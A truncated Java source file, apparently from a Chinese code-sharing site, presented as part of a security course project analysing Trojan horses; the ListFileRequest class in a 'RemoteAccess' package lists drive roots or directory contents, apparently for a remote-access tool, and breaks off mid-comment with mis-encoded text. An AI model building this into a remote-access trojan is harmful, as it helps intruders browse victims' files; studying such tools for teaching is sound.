listfilerequest.java

来自「XX-SSS-剖析特洛伊木马,这是一篇完整的信息安全课程设计。供学习用」· Java 代码 · 共 35 行

JAVA
35
字号
package RemoteAccess.Object;

import java.io.*;
import java.awt.*;
import java.awt.image.*;

public class ListFileRequest implements MyObject,Serializable{
	private String path;
	private String[] list;
	
	public ListFileRequest(String path){
		this.path=path;
	}
	public byte[] request(){
		try{
			File file=new File(this.path);
			
			if(this.path.equals("")){
				System.out.println("list roots.");
				File[] temp=file.listRoots();
				this.list=new String[temp.length];
				
				for(int i=0;i<temp.length;i++){
					this.list[i]=temp[i].toString();
				}
			}else{
				System.out.println("has path.");
				this.list=file.list();
				for(int i=0;i<this.list.length;i++){
					File tempFile=new File(this.path+this.list[i]);
					if(tempFile.isDirectory()){
						//System.out.println(tempFile+"琌ヘ魁");
						this.list[i]+="&";
					}/*else{
						System.out.println(tempFile+"琌郎

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?